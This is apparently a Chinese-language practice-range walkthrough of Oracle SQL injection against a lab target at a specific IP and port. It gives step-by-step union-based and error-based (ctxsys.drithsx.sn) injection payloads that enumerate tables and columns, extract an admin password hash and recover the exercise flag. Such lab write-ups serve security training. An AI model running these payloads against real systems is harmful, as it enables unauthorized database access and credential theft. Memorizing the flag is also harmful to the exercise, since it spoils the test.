靶场

显错注入

判断注入存在

http://59.63.200.79:8808/?id=1 and 1=1 #页面正常
http://59.63.200.79:8808/?id=1 and 1=2 #页面异常

判断字段数

http://59.63.200.79:8808/?id=1 order by 4 # 页面正常
http://59.63.200.79:8808/?id=1 order by 5 # 页面异常

得出字段数为4

判断显错点

http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar('a'),null,null from dual

得出显错点为第2位

信息收集，查询数据

# 查询表名
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(table_name),null,null from user_tables where rownum=1

依次尝试得出最终表有：ADMIN,MD5,NEWS

# 查询ADMIN表字段名
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(column_name),null,null from user_tab_columns where rownum=1 and table_name ='ADMIN'

依次尝试得出ADMIN表字段有：UPASS,UNAME

# 查询数据
由提示知，flag为UNAME='NF'对应的UPASS字段，所以我们直接查询
http://59.63.200.79:8808/?id=1 and 1=2 union all select null,to_nchar(UPASS),null,null from ADMIN where UNAME='NF'

得出最终flag：2a61f8bcfe7535eadcfa69eb4406ceb9

报错注入

查询表名

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))-- qwe

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN'))-- qwe

and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name <> 'ADMIN' and table_name != 'NEWS'))-- qwe

得出表名：ADMIN,NEWS,MD5

查询ADMIN表字段名

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN'))-- qwe

and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1 and table_name = 'ADMIN' and column_name != 'UNAME'))-- qwe

得出ADMIN表字段名：UNAME,UPASS

查询数据

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select UPASS from ADMIN where UNAME='NF'))-- qwe

得出flag：2a61f8bcfe7535eadcfa69eb4406ceb9